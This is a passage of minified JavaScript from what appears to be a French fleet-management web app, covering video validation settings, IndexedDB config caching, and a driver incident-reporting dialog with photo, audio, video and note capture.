hpe(n),s=t.maxDurationSec+.2;if(i.duration&gt;s&amp;&amp;r.push(`Durée (${i.duration.toFixed(1)}s) &gt; ${t.maxDurationSec}s`),t.requireExactOrLower){const{maxHeight:l}=O$(t.resolutionPreset);i.height&gt;l&amp;&amp;r.push(`Hauteur (${i.height}px) &gt; ${l}px (${t.resolutionPreset})`)}if(i.size&gt;t.maxSizeBytes){const l=(t.maxSizeBytes/1048576).toFixed(1),c=(i.size/(1024*1024)).toFixed(1);r.push(`Taille (${c} MB) &gt; ${l} MB`)}let o;return r.length&gt;0&amp;&amp;(o=`Vidéo non conforme: max ${t.maxDurationSec}s et ${t.resolutionPreset}.`,r.length&gt;1&amp;&amp;(o+=` Problèmes: ${r.join(&quot;, &quot;)}`)),{valid:r.length===0,reasons:r,message:o}}catch(n){return{valid:!1,reasons:[&quot;Erreur lors de la lecture de la vidéo&quot;],message:n instanceof Error?n.message:&quot;Impossible de valider la vidéo&quot;}}}const Gu={enabled:!0,maxDurationSec:10,resolutionPreset:&quot;360p&quot;,maxSizeBytes:8*1024*1024,preferredCaptureMode:&quot;auto&quot;,preferredMimeTypes:[&quot;video/webm;codecs=vp8&quot;,&quot;video/webm&quot;],thumbnail:{enabled:!0,maxSize:240,quality:.5},requireExactOrLower:!0};let TA=null,Jb=0;const mpe=300*1e3,m1=&quot;video_optimization_config&quot;,M$=&quot;current_config&quot;;async function U$(){return new Promise((e,t)=&gt;{const r=indexedDB.open(&quot;parcapp_offline_cache&quot;,1);r.onerror=()=&gt;t(r.error),r.onsuccess=()=&gt;e(r.result),r.onupgradeneeded=n=&gt;{const i=n.target.result;i.objectStoreNames.contains(m1)||i.createObjectStore(m1)}})}async function z$(){try{const e=await U$();return new Promise((t,r)=&gt;{const s=e.transaction([m1],&quot;readonly&quot;).objectStore(m1).get(M$);s.onsuccess=()=&gt;{const o=s.result;t(o||null)},s.onerror=()=&gt;r(s.error)})}catch(e){return console.warn(&quot;[Video Optimization] Erreur IndexedDB:&quot;,e),null}}async function ppe(e){try{const t=await U$();return new Promise((r,n)=&gt;{const o=t.transaction([m1],&quot;readwrite&quot;).objectStore(m1).put(e,M$);o.onsuccess=()=&gt;r(),o.onerror=()=&gt;n(o.error)})}catch(t){console.warn(&quot;[Video Optimization] Erreur sauvegarde IndexedDB:&quot;,t)}}async function gpe(){try{const e=await $t(&quot;/api/settings/organization&quot;,{method:&quot;GET&quot;}),t=e.videoResolutionPreset&amp;&amp;(e.videoResolutionPreset===&quot;144p&quot;||e.videoResolutionPreset===&quot;240p&quot;||e.videoResolutionPreset===&quot;360p&quot;||e.videoResolutionPreset===&quot;480p&quot;||e.videoResolutionPreset===&quot;720p&quot;||e.videoResolutionPreset===&quot;1080p&quot;)?e.videoResolutionPreset:Gu.resolutionPreset,r={enabled:e.videoEnabled??Gu.enabled,maxDurationSec:e.videoMaxDurationSec??Gu.maxDurationSec,resolutionPreset:t,maxSizeBytes:e.videoMaxSizeBytes??Gu.maxSizeBytes,preferredCaptureMode:e.videoPreferredCaptureMode===&quot;auto&quot;||e.videoPreferredCaptureMode===&quot;mediaRecorder&quot;||e.videoPreferredCaptureMode===&quot;fileInput&quot;?e.videoPreferredCaptureMode:Gu.preferredCaptureMode,preferredMimeTypes:e.videoPreferredMimeTypes&amp;&amp;Array.isArray(e.videoPreferredMimeTypes)?e.videoPreferredMimeTypes:Gu.preferredMimeTypes,thumbnail:{enabled:e.videoThumbnailEnabled??Gu.thumbnail.enabled,maxSize:e.videoThumbnailMaxSize??Gu.thumbnail.maxSize,quality:e.videoThumbnailQuality??Gu.thumbnail.quality},requireExactOrLower:e.videoRequireExactOrLower??Gu.requireExactOrLower,updatedAt:new Date().toISOString()};return await ppe(r),r}catch(e){console.warn(&quot;[Video Optimization] Erreur lors de la récupération des paramètres:&quot;,e);const t=await z$();return t||Gu}}async function ag(){const e=Date.now();if(TA&amp;&amp;e-Jb&lt;mpe)return TA;try{return TA=await gpe(),Jb=e,TA}catch{const r=await z$();return r?(TA=r,Jb=e,r):Gu}}function Ape(){TA=null,Jb=0}const $$=Object.freeze(Object.defineProperty({__proto__:null,getVideoOptimizationConfig:ag,invalidateVideoOptimizationCache:Ape},Symbol.toStringTag,{value:&quot;Module&quot;})),DI=[{value:&quot;roue&quot;,label:&quot;Roue&quot;,icon:Tg,color:&quot;bg-blue-500/10 border-blue-500/20 hover:bg-blue-500/20 text-blue-600&quot;},{value:&quot;electricite&quot;,label:&quot;Électricité&quot;,icon:ry,color:&quot;bg-yellow-500/10 border-yellow-500/20 hover:bg-yellow-500/20 text-yellow-600&quot;},{value:&quot;moteur&quot;,label:&quot;Moteur&quot;,icon:zm,color:&quot;bg-red-500/10 border-red-500/20 hover:bg-red-500/20 text-red-600&quot;},{value:&quot;frein&quot;,label:&quot;Frein&quot;,icon:f4,color:&quot;bg-orange-500/10 border-orange-500/20 hover:bg-orange-500/20 text-orange-600&quot;},{value:&quot;autre&quot;,label:&quot;Autre&quot;,icon:Gl,color:&quot;bg-gray-500/10 border-gray-500/20 hover:bg-gray-500/20 text-gray-600&quot;}],F7=[{value:&quot;audio&quot;,label:&quot;Audio&quot;,icon:F0,color:&quot;bg-blue-500/10 border-blue-500/20 hover:bg-blue-500/20 text-blue-600&quot;},{value:&quot;photo&quot;,label:&quot;Photo&quot;,icon:Nm,color:&quot;bg-green-500/10 border-green-500/20 hover:bg-green-500/20 text-green-600&quot;},{value:&quot;video&quot;,label:&quot;Vidéo&quot;,icon:Xu,color:&quot;bg-purple-500/10 border-purple-500/20 hover:bg-purple-500/20 text-purple-600&quot;},{value:&quot;note&quot;,label:&quot;Note&quot;,icon:po,color:&quot;bg-gray-500/10 border-gray-500/20 hover:bg-gray-500/20 text-gray-600&quot;}];function xpe({open:e,onOpenChange:t,etapeId:r}){const{data:n}=hy(),s=n?.voyage?.id,[o,l]=I.useState(null),[c,d]=I.useState(null),[u,h]=I.useState(&quot;&quot;),[p,A]=I.useState(null),[y,v]=I.useState(null),[w,j]=I.useState(!1),[E,S]=I.useState(0),[_,C]=I.useState(null),[Q,R]=I.useState(null),[T,M]=I.useState(navigator.onLine),[O,$]=I.useState(!1),[P,L]=I.useState(!1),[X,W]=I.useState(null),{toast:G}=Er(),J=eo(),q=_r({mutationFn:async({voyageId:Pe,data:Ke})=&gt;{const{createVoyageIncident:tt}=await On(async()=&gt;{const{createVoyageIncident:pt}=await Promise.resolve().then(()=&gt;F$);return{createVoyageIncident:pt}},void 0);return tt(Pe,Ke)},onSuccess:(Pe,Ke)=&gt;{J.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,Ke.voyageId,&quot;incidents&quot;]}),J.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,Ke.voyageId,&quot;events&quot;]})}}),ee=I.useRef(null),ne=I.useRef(null),V=I.useRef(null),ue=I.useRef(null),de=I.useRef(null),xe=I.useRef(null);I.useEffect(()=&gt;{const Pe=()=&gt;M(!0),Ke=()=&gt;M(!1);return window.addEventListener(&quot;online&quot;,Pe),window.addEventListener(&quot;offline&quot;,Ke),()=&gt;{window.removeEventListener(&quot;online&quot;,Pe),window.removeEventListener(&quot;offline&quot;,Ke)}},[]),I.useEffect(()=&gt;{c===&quot;video&quot;&amp;&amp;ag().then(W).catch(console.error)},[c]),I.useEffect(()=&gt;{e||(l(null),d(null),h(&quot;&quot;),A(null),y&amp;&amp;URL.revokeObjectURL(y),v(null),j(!1),S(0),R(null),_&amp;&amp;_.state!==&quot;inactive&quot;&amp;&amp;_.stop(),ue.current&amp;&amp;(ue.current.getTracks().forEach(Pe=&gt;Pe.stop()),ue.current=null),de.current&amp;&amp;clearInterval(de.current))},[e,_]);const _e=async Pe=&gt;{const Ke=Pe.target.files?.[0];if(Ke){if(c===&quot;photo&quot;){if(!Ke.type.startsWith(&quot;image/&quot;)){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner une image&quot;});return}if(Ke.size&gt;10*1024*1024){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;image ne doit pas dépasser 10 MB&quot;});return}L(!0);try{const tt=await Hm(Ke,{preset:&quot;incident&quot;});A(tt.file);const pt=URL.createObjectURL(tt.file);v(pt);const dt=((1-tt.optimizedSize/tt.originalSize)*100).toFixed(0);tt.originalSize&gt;tt.optimizedSize&amp;&amp;G({title:&quot;Image optimisée&quot;,description:`${ol(tt.originalSize)} → ${ol(tt.optimizedSize)} (-${dt}%)`,duration:3e3})}catch(tt){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:tt instanceof Error?tt.message:&quot;Optimisation impossible, veuillez reprendre la photo&quot;})}finally{L(!1)}}else if(c===&quot;audio&quot;){if(![&quot;audio/mpeg&quot;,&quot;audio/mp4&quot;,&quot;audio/aac&quot;,&quot;audio/ogg&quot;,&quot;audio/wav&quot;,&quot;audio/webm&quot;].includes(Ke.type)){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Format audio non supporté&quot;});return}if(Ke.size&gt;15*1024*1024){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;audio ne doit pas dépasser 15 MB&quot;});return}A(Ke)}else if(c===&quot;video&quot;){L(!0);try{const tt=await ag();if(!tt.enabled){G({variant:&quot;destructive&quot;,title:&quot;Vidéo désactivée&quot;,description:&quot;L&#039;optimisation vidéo est désactivée dans les paramètres.&quot;}),L(!1);return}const pt=await L$(Ke,tt);if(!pt.valid){G({variant:&quot;destructive&quot;,title:&quot;Vidéo non conforme&quot;,description:pt.message||&quot;La vidéo ne respecte pas les paramètres configurés.&quot;}),L(!1);return}A(Ke);const dt=URL.createObjectURL(Ke);v(dt),G({title:&quot;Vidéo acceptée&quot;,description:`Qualité ${tt.resolutionPreset}, max ${tt.maxDurationSec}s`,duration:3e3})}catch(tt){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:tt instanceof Error?tt.message:&quot;Impossible de valider la vidéo&quot;})}finally{L(!1)}}}},Ce=async()=&gt;{if(!(window.location.protocol===&quot;https:&quot;||window.location.hostname===&quot;localhost&quot;||window.location.hostname===&quot;127.0.0.1&quot;)){G({variant:&quot;destructive&quot;,title:&quot;HTTPS requis&quot;,description:&quot;L&#039;enregistrement audio/vidéo nécessite une connexion HTTPS. Veuillez utiliser l&#039;application via HTTPS (https://...) ou localhost. Note: L&#039;upload de photos fonctionne sans HTTPS.&quot;,duration:1e4});return}if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){G({variant:&quot;destructive&quot;,title:&quot;API non disponible&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio/vidéo.&quot;,duration:5e3});return}try{if(c===&quot;video&quot;){L(!0);const Ke=await ag();if(!Ke.enabled){G({variant:&quot;destructive&quot;,title:&quot;Vidéo désactivée&quot;,description:&quot;L&#039;optimisation vidéo est désactivée dans les paramètres.&quot;}),L(!1);return}if(!(Ke.preferredCaptureMode===&quot;auto&quot;||Ke.preferredCaptureMode===&quot;mediaRecorder&quot;)&amp;&amp;Ke.preferredCaptureMode===&quot;fileInput&quot;){G({variant:&quot;destructive&quot;,title:&quot;Mode fichier requis&quot;,description:&quot;Veuillez utiliser le sélecteur de fichier pour capturer la vidéo.&quot;}),L(!1);return}W(Ke),L(!1),j(!0),S(0);const pt=await US(Ke,dt=&gt;{S(Math.floor(dt))});xe.current=pt,setTimeout(()=&gt;{V.current&amp;&amp;pt.stream&amp;&amp;(V.current.srcObject=pt.stream,V.current.play().catch(dt=&gt;{console.error(&quot;Erreur lors de la lecture vidéo:&quot;,dt)}))},100),pt.promise.then(dt=&gt;{if(j(!1),pt.stream.getTracks().forEach(Oe=&gt;Oe.stop()),V.current&amp;&amp;(V.current.srcObject=null),xe.current=null,R(dt.blob),A(dt.file),V.current){const Oe=URL.createObjectURL(dt.blob);v(Oe),V.current.src=Oe}G({title:&quot;Vidéo capturée&quot;,description:`Qualité ${dt.metadata.preset}, ${dt.metadata.duration.toFixed(1)}s, ${ol(dt.metadata.size)}`,duration:3e3})}).catch(dt=&gt;{j(!1),L(!1),W(null),xe.current=null,console.error(&quot;Erreur lors de l&#039;enregistrement vidéo:&quot;,dt),G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:dt instanceof Error?dt.message:&quot;Erreur lors de l&#039;enregistrement vidéo&quot;})})}else{const Ke=await navigator.mediaDevices.getUserMedia({audio:!0});ue.current=Ke;const tt=new MediaRecorder(Ke,{mimeType:&quot;audio/webm&quot;});C(tt);const pt=[];tt.ondataavailable=Oe=&gt;{Oe.data.size&gt;0&amp;&amp;pt.push(Oe.data)},tt.onstop=()=&gt;{const Oe=new Blob(pt,{type:&quot;audio/webm&quot;});R(Oe);const Pt=new File([Oe],&quot;recording.webm&quot;,{type:Oe.type});A(Pt);const Kt=URL.createObjectURL(Oe);v(Kt),Ke.getTracks().forEach(gt=&gt;gt.stop()),ue.current=null,j(!1),de.current&amp;&amp;(clearInterval(de.current),de.current=null)},tt.start(),j(!0),S(0);const dt=Date.now();de.current=window.setInterval(()=&gt;{const Oe=Math.floor((Date.now()-dt)/1e3);S(Pt=&gt;{const Kt=Oe;return Kt!==Pt?Kt:Pt})},100)}}catch(Ke){L(!1),console.error(&quot;Erreur lors de l&#039;enregistrement:&quot;,Ke);const tt=window.location.protocol!==&quot;https:&quot;&amp;&amp;window.location.hostname!==&quot;localhost&quot;&amp;&amp;window.location.hostname!==&quot;127.0.0.1&quot;,pt=Ke.name===&quot;NotAllowedError&quot;||Ke.name===&quot;PermissionDeniedError&quot;,dt=Ke.name===&quot;NotFoundError&quot;||Ke.name===&quot;DevicesNotFoundError&quot;;let Oe=&quot;Impossible d&#039;accéder à la caméra/microphone.&quot;,Pt=&quot;Erreur d&#039;accès&quot;;tt?(Pt=&quot;HTTPS requis&quot;,Oe=&quot;L&#039;accès au microphone nécessite une connexion HTTPS. Veuillez utiliser l&#039;application via HTTPS (https://...) ou localhost.&quot;):pt?(Pt=&quot;Permission refusée&quot;,Oe=&quot;L&#039;accès au microphone a été refusé. Veuillez autoriser l&#039;accès au microphone dans les paramètres de votre navigateur.&quot;):dt?(Pt=&quot;Microphone introuvable&quot;,Oe=&quot;Aucun microphone n&#039;a été détecté. Veuillez connecter un microphone et réessayer.&quot;):Oe=Ke.message||&quot;Impossible d&#039;accéder à la caméra/microphone. Vérifiez les permissions.&quot;,G({variant:&quot;destructive&quot;,title:Pt,description:Oe,duration:tt?1e4:5e3})}},we=()=&gt;{if(c===&quot;video&quot;&amp;&amp;xe.current&amp;&amp;w){xe.current.stop();return}_&amp;&amp;_.state!==&quot;inactive&quot;&amp;&amp;_.stop(),de.current&amp;&amp;(clearInterval(de.current),de.current=null)},ve=async()=&gt;{if(!s||!o||!c){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez compléter toutes les étapes&quot;});return}if(c===&quot;note&quot;&amp;&amp;!u.trim()){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez saisir une description&quot;});return}if(c!==&quot;note&quot;&amp;&amp;!p&amp;&amp;!Q){G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner ou enregistrer un fichier&quot;});return}$(!0);try{if(T){const Pe=await q.mutateAsync({voyageId:s,data:{type:o,voyageEtapeId:r??null,priority:&quot;normale&quot;}}),Ke=p||(Q?new File([Q],&quot;recording.webm&quot;,{type:Q.type}):null);c===&quot;note&quot;?await xg(s,Pe.id,{type:&quot;message&quot;,description:u.trim(),senderRole:&quot;chauffeur&quot;}):Ke&amp;&amp;await xg(s,Pe.id,{type:&quot;media&quot;,mediaKind:c,description:u.trim()||null,file:Ke,senderRole:&quot;chauffeur&quot;}),G({title:&quot;Succès&quot;,description:&quot;Le problème a été créé avec succès&quot;})}else{const Pe=p||(Q?new File([Q],&quot;recording.webm&quot;,{type:Q.type}):null);await mv({voyageId:s,type:&quot;incident&quot;,incidentType:o,messageType:c,etapeId:r??null,description:c===&quot;note&quot;?u.trim():u.trim()||null,file:c!==&quot;note&quot;?Pe:null}),G({title:&quot;Problème enregistré&quot;,description:&quot;Le problème sera synchronisé à la reconnexion&quot;})}s&amp;&amp;(J.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,s,&quot;incidents&quot;]}),J.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,s,&quot;events&quot;]})),t(!1)}catch(Pe){console.error(&quot;Erreur lors de la création:&quot;,Pe),G({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Pe instanceof Error?Pe.message:&quot;Impossible de créer le problème&quot;})}finally{$(!1)}},Ne=O||q.isPending;if(!o)return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Nouveau problème&quot;}),a.jsx(Mn,{children:&quot;Choisissez le type de problème&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-4 py-4&quot;,children:DI.map(Pe=&gt;{const Ke=Pe.icon;return a.jsxs(&quot;button&quot;,{onClick:()=&gt;l(Pe.value),className:`flex flex-col items-center justify-center gap-3 p-6 rounded-xl border-2 active:scale-95 transition-all min-h-[120px] ${Pe.color}`,children:[a.jsx(&quot;div&quot;,{className:`w-16 h-16 rounded-full flex items-center justify-center ${Pe.color.includes(&quot;bg-blue&quot;)?&quot;bg-blue-500/20&quot;:Pe.color.includes(&quot;bg-yellow&quot;)?&quot;bg-yellow-500/20&quot;:Pe.color.includes(&quot;bg-red&quot;)?&quot;bg-red-500/20&quot;:Pe.color.includes(&quot;bg-orange&quot;)?&quot;bg-orange-500/20&quot;:&quot;bg-gray-500/20&quot;}`,children:a.jsx(Ke,{className:&quot;h-8 w-8&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Pe.label})]},Pe.value)})})]})});if(!c){const Pe=DI.find(tt=&gt;tt.value===o),Ke=Pe?.icon||Gl;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto flex flex-col&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Ke,{className:&quot;h-5 w-5&quot;}),a.jsx(In,{children:Pe?.label})]}),a.jsx(Mn,{children:&quot;Choisissez le type de message&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex-1&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex gap-2 pb-4 border-t pt-4&quot;,children:F7.map(tt=&gt;{const pt=tt.icon;return a.jsxs(&quot;button&quot;,{onClick:()=&gt;d(tt.value),className:`flex flex-col items-center justify-center gap-2 p-4 rounded-lg border-2 active:scale-95 transition-all flex-1 ${tt.color}`,children:[a.jsx(pt,{className:&quot;h-6 w-6&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:tt.label})]},tt.value)})}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-end gap-2&quot;,children:a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;l(null),children:&quot;Retour&quot;})})]})})}const Ie=DI.find(Pe=&gt;Pe.value===o),be=F7.find(Pe=&gt;Pe.value===c),Re=Ie?.icon||Gl;return be?.icon,a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Re,{className:&quot;h-5 w-5&quot;}),a.jsx(In,{children:Ie?.label})]}),!T&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;bg-orange-500/10 text-orange-600 border-orange-500/20&quot;,children:[a.jsx(qd,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Hors ligne&quot;]})]}),a.jsxs(Mn,{children:[c===&quot;photo&quot;&amp;&amp;&quot;Prendre ou sélectionner une photo&quot;,c===&quot;audio&quot;&amp;&amp;&quot;Enregistrer ou uploader un audio&quot;,c===&quot;video&quot;&amp;&amp;`Enregistrer une vidéo${X?` (max ${X.maxDurationSec}s, ${X.resolutionPreset})`:&quot;&quot;}`,c===&quot;note&quot;&amp;&amp;&quot;Ajouter une note&quot;]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mt-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;d(null),className:&quot;mb-2&quot;,children:&quot;← Retour&quot;}),c===&quot;photo&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[P&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Optimisation...&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;ne.current?.click(),className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,disabled:P,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-blue-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(mo,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Prendre une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:ee,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:_e,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:ne,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:_e,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;ee.current?.click(),className:&quot;flex-1&quot;,disabled:P,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]})]}),y&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:y,alt:&quot;Preview&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{A(null),v(null),ee.current&amp;&amp;(ee.current.value=&quot;&quot;),ne.current&amp;&amp;(ne.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),c===&quot;audio&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:w?a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:we,className:&quot;h-24 w-24 flex-col gap-3 text-base font-semibold&quot;,children:[a.jsx(pg,{className:&quot;h-8 w-8&quot;}),a.jsx(&quot;span&quot;,{children:&quot;STOP&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[&quot;(&quot;,E,&quot;s)&quot;]})]}):a.jsxs(a.Fragment,{children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Ce,className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-red-600 shadow-lg flex-shrink-0&quot;,style:{borderRadius:&quot;50%&quot;}}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:p||Q?&quot;Enregistrer à nouveau&quot;:&quot;Enregistrer&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:ee,type:&quot;file&quot;,accept:&quot;audio/*&quot;,onChange:_e,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;ee.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Uploader&quot;]})]})]})}),y&amp;&amp;c===&quot;audio&quot;&amp;&amp;!w&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-4 bg-muted/50 rounded-lg&quot;,children:[a.jsx(&quot;audio&quot;,{src:y,controls:!0,className:&quot;w-full&quot;,preload:&quot;metadata&quot;,children:&quot;Votre navigateur ne supporte pas la lecture audio.&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;mt-2 w-full&quot;,onClick:()=&gt;{A(null),R(null),v(null),y&amp;&amp;URL.revokeObjectURL(y),ee.current&amp;&amp;(ee.current.value=&quot;&quot;)},children:[a.jsx(Nn,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer l&#039;enregistrement&quot;]})]}),p&amp;&amp;!w&amp;&amp;!y&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center&quot;,children:a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Fichier sélectionné : &quot;,p.name]})})]}),c===&quot;video&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:w?a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,onClick:we,className:&quot;h-24 w-24 flex-col gap-3 text-base font-semibold&quot;,children:[a.jsx(pg,{className:&quot;h-8 w-8&quot;}),a.jsx(&quot;span&quot;,{children:&quot;STOP&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[&quot;(&quot;,E,&quot;s/&quot;,X?.maxDurationSec||10,&quot;s)&quot;]})]}):a.jsxs(a.Fragment,{children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:Ce,className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-purple-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(Xu,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:p||Q?&quot;Enregistrer à nouveau&quot;:&quot;Enregistrer&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:ee,type:&quot;file&quot;,accept:&quot;video/*&quot;,onChange:_e,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;ee.current?.click(),className:&quot;flex-1&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Uploader&quot;]})]})]})}),w&amp;&amp;c===&quot;video&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full rounded-lg border bg-black overflow-hidden&quot;,children:[a.jsx(&quot;video&quot;,{ref:V,autoPlay:!0,playsInline:!0,muted:!0,className:&quot;rounded-lg w-full max-h-64 object-cover&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-2 right-2 flex items-center gap-2 bg-red-500 text-white px-3 py-1 rounded-full&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-2 h-2 bg-white rounded-full animate-pulse&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium&quot;,children:&quot;Enregistrement...&quot;})]})]}),y&amp;&amp;!w&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;video&quot;,{src:y,controls:!0,className:&quot;rounded-lg w-full max-h-64&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{A(null),v(null),ee.current&amp;&amp;(ee.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]})]}),c===&quot;note&quot;&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(Se,{htmlFor:&quot;note-description&quot;,children:&quot;Description&quot;}),a.jsx(K0,{id:&quot;note-description&quot;,value:u,onChange:Pe=&gt;h(Pe.target.value),placeholder:&quot;Décrivez le problème...&quot;,rows:5,className:&quot;mt-1&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-2 pt-4&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(!1),disabled:Ne,children:&quot;Annuler&quot;}),a.jsxs(ge,{onClick:ve,disabled:Ne,children:[Ne&amp;&amp;a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),c===&quot;audio&quot;&amp;&amp;(p||Q)?T?&quot;Sauvegarder&quot;:&quot;Sauvegarder (hors ligne)&quot;:T?&quot;Enregistrer&quot;:&quot;Enregistrer (hors 